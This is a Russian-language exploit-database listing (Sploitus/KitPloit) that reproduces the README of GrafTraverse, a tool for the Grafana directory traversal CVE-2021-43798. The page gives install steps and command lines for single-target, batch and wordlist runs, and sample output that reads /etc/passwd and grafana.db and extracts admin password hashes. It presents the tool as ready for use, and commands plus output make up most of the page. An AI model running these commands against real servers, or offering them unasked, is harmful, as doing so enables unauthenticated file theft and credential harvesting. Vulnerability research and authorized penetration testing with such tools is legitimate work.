Sploitus

Exploit for GrafTraverse

kitploit · 2026-08-31

Exploit Code

MARKDOWN191 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ASBAWY-GRAFTRAVERSE-CVE-2021-43798
# GrafTraverse - Мини-фреймворк эксплуатации CVE-2021-43798

![](https://img.shields.io/badge/Python-3.8+-blue?style=flat-square&logo=python) ![](https://img.shields.io/badge/CVE-2021--43798-critical?style=flat-square&logo=grafana) ![](https://img.shields.io/badge/Platform-Linux%20%7C%20macOS%20%7C%20Windows-lightgrey?style=flat-square)

> **Инструмент автоматизации командной строки для авторизованного тестирования безопасности уязвимости обхода каталогов Grafana (CVE-2021-43798).**

* * *

## Обзор

![Banner](https://assets.kitploit.com/production/public/readmes/15382/2de5fad566a7acf2786dd9c9433ddce5ad67fdf2ea63b69d2ffb5d6e30ad06d2.png)

**CVE-2021-43798** — это неаутентифицированная уязвимость обхода каталогов в Grafana 8.x, которая позволяет злоумышленникам читать произвольные файлы в файловой системе через конечную точку `/public/plugins/`. Основная причина — некорректная санитизация пути при запросах ресурсов плагинов, что позволяет последовательностям `../` выйти за пределы целевого каталога.

**GrafTraverse** — это полная переработка оригинального proof-of-concept. Он исправляет критически важные ошибки обработки запросов, добавляет многопоточное пакетное сканирование, автоматическое обнаружение плагинов, извлечение учётных данных и структурированную отчётность, что делает его инструментом производственного уровня для групп красных команд и пентестеров.

* * *

## Возможности

* * *

## Установка

root@kitploit:~
    
    
    # Clone the repository
    git clone https://github.com/asbawy/GrafTraverse.git
    cd GrafTraverse
    
    # Ensure requests is available (it ships with Kali)
    pip3 install requests
    
    # Make executable
    chmod +x GrafTraverse.py
    

* * *

## Использование

GrafTraverse использует **CLI на основе подкоманд**. Все команды поддерживают `--help`.

### 1\. Интерактивная одиночная цель

Запуск интерактивного меню для одной цели:

root@kitploit:~
    
    
    python3 GrafTraverse.py single -u http://IP:PORT
    

root@kitploit:~
    
    
    ============================================================
     INTERACTIVE MODE
    ============================================================
     1. /etc/passwd
     2. grafana.ini
     3. grafana.db
     4. Custom path
     5. Full automated loot
     6. Scan plugins
     7. Exit
    ============================================================
    

### 2\. Сканирование плагинов

Быстрое определение уязвимой конечной точки плагина без эксплуатации:

root@kitploit:~
    
    
    python3 GrafTraverse.py scan -u http://target:PORT
    

### 3\. Пакетное сканирование

Загрузка целей из файла и их одновременная обработка:

root@kitploit:~
    
    
    python3 GrafTraverse.py batch -l targets.txt --workers 10 --csv results.csv
    

**Формат`targets.txt`:**

root@kitploit:~
    
    
    http://192.168.1.10:3000
    http://192.168.1.11:3000
    https://grafana.target.com
    # Lines starting with # are ignored
    

### 4\. Перебор по списку слов

Подача пользовательского списка файлов для глубокого обхода:

root@kitploit:~
    
    
    python3 GrafTraverse.py single -u http://target:3000   --wordlist sensitive_files.txt   --output-dir ./loot   --json log.json
    

### 5\. Прокси и пользовательские заголовки

Маршрутизация через Burp Suite и добавление пользовательских заголовков:

root@kitploit:~
    
    
    python3 GrafTraverse.py single -u http://target:3000   --proxy http://127.0.0.1:8080   -H "X-Forwarded-For: 127.0.0.1"   -H "Authorization: Bearer eyJ0..."
    

* * *

## Справочник команд

### `single`

### `batch`

Флаг| Описание  
---|---  
`-l, --list`| Файл с URL целей (обязательно)  
`--workers`| Одновременные потоки (по умолчанию: 5)  
_(поддерживаются все флаги`single`)_|   
  
### `scan`

Флаг| Описание  
---|---  
`-u, --url`| URL цели (обязательно)  
_(поддерживаются все сетевые флаги)_|   
  
* * *

## Пример вывода

### Успешное получение файла

root@kitploit:~
    
    
    [+] Output: 20260526_GrafTraverse
    [*] Testing: /etc/passwd (via alertlist)
    [+] SUCCESS: /etc/passwd (1874 bytes)
    
    ------------------------------------------------------------
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    ...
    ------------------------------------------------------------
    
    [+] Saved: 20260526_GrafTraverse/http___10.129.234.47_3000_passwd
    

### Извлечение хэша из базы данных Grafana

root@kitploit:~
    
    
    [*] Testing: /var/lib/grafana/grafana.db (via alertlist)
    [+] SUCCESS: /var/lib/grafana/grafana.db (98304 bytes)
    [+] Saved: 20260526_GrafTraverse/http___10.129.234.47_3000_grafana.db
    [*] Extracted 3 password hashes:
        admin:PBKDF2$sha256$10000$...base64...
        editor:PBKDF2$sha256$10000$...base64...
        viewer:PBKDF2$sha256$10000$...base64...
    

* * *

## Целевые файлы (автоматическая добыча)

Встроенная последовательность добычи пытается получить следующие файлы по порядку:

* * *

## Уязвимые версии

  * Grafana с **8.0.0** по **8.3.0**
  * Исправлено в **8.3.1** и **7.5.12**